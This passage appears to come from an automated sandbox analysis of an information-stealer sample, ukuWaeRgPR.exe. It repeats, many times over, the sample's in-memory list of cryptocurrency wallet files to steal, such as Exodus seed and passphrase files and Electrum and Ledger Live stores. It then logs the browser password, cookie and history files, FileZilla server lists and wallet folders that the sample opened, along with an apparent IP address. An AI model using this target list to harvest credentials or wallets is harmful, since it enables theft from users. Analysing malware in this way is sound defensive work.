Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000DCA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000DCA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000DCA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000DCA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000DCA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000DCA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: ukuWaeRgPR.exe, 00000000.00000002.2171110129.000000000203D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 81.77rs\user\AppData\Roaming\\Coinomi\Coinomi\wallets\\.n
Source: ukuWaeRgPR.exe, 00000000.00000002.2171110129.000000000203D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 77.91.77.81\user\AppData\Roaming\MultiDoge\multidoge.wallet
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000DCA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000DCA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000DCA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000DCA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\ukuWaeRgPR.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\ukuWaeRgPR.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
